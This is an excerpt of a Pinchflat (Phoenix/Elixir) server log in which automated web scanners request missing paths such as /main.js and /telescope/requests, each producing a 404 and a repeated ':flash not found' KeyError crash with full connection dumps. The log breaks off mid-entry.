reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35168}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9618.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 15:21:48.580 [info] GET /index.js 15:21:48.580 [debug] QUERY OK source="settings" db=0.1ms idle=472.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.580 [debug] QUERY OK source="settings" db=0.0ms idle=472.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.581 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:48.581 [error] #PID<0.9620.0> running PinchflatWeb.Endpoint (connection #PID<0.9619.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9619.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9620.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA0E4YZGqVJIAAcRC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9619.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9619.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9620.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_header (truncated) 15:21:48.790 [info] GET /telescope/requests 15:21:48.790 [debug] QUERY OK source="settings" db=0.1ms idle=445.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.791 [debug] QUERY OK source="settings" db=0.1ms idle=445.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.791 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:48.791 [error] #PID<0.9622.0> running PinchflatWeb.Endpoint (connection #PID<0.9621.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9621.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35194}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9622.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA02__S0y8lMAAcSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9621.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35194}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9621.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35194}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9622.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA02__S0y8lMAAcSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, st (truncated) 15:21:48.827 [info] GET /server.js 15:21:48.827 [debug] QUERY OK source="settings" db=0.1ms idle=325.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.827 [debug] QUERY OK source="settings" db=0.0ms idle=246.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:48.827 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:48.827 [error] #PID<0.9624.0> running PinchflatWeb.Endpoint (connection #PID<0.9623.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /server.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35208}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9624.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/server.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA0_vRZM1Z1wAAISD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35208}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35208}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9624.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/server.js", resp_body: nil, resp_cookies: %{}, r (truncated) 15:21:49.064 [info] GET /bundle.js 15:21:49.065 [debug] QUERY OK source="settings" db=0.1ms idle=484.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.065 [debug] QUERY OK source="settings" db=0.0ms idle=274.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:49.065 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:49.065 [error] #PID<0.9626.0> running PinchflatWeb.Endpoint (connection #PID<0.9625.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9625.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35224}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9626.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA14Yq3K-9jwAAcTC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9625.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35224}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => 